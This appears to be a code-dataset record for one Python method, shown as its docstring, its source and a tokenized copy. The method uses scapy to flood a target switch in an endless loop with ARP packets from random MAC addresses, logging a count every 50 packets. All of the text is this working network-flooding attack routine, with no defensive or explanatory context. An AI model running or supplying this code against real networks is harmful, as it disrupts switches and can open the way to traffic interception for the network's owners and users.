(self)
Begin spamming the switch with ARP packets from
            random MAC's
Begin spamming the switch with ARP packets from
            random MAC's
Begin spamming the switch with ARP packets from random MAC s
def spam(self):
        """ Begin spamming the switch with ARP packets from
            random MAC's
        """
        arp = ARP(op=2, psrc='0.0.0.0', hwdst=self.switch)
        while self.running:
            pkt = Ether(src=RandMAC(), dst=self.switch)
            pkt /= arp
            sendp(pkt)
            self.sent += 1
            if self.sent % 50 == 0:
                self.log_msg('Sent %d requests...' % (self.sent))
def spam ( self ) : arp = ARP ( op = 2 , psrc = '0.0.0.0' , hwdst = self . switch ) while self . running : pkt = Ether ( src = RandMAC ( ) , dst = self . switch ) pkt /= arp sendp ( pkt ) self . sent += 1 if self . sent % 50 == 0 : self . log_msg ( 'Sent %d requests...' % ( self . sent ) )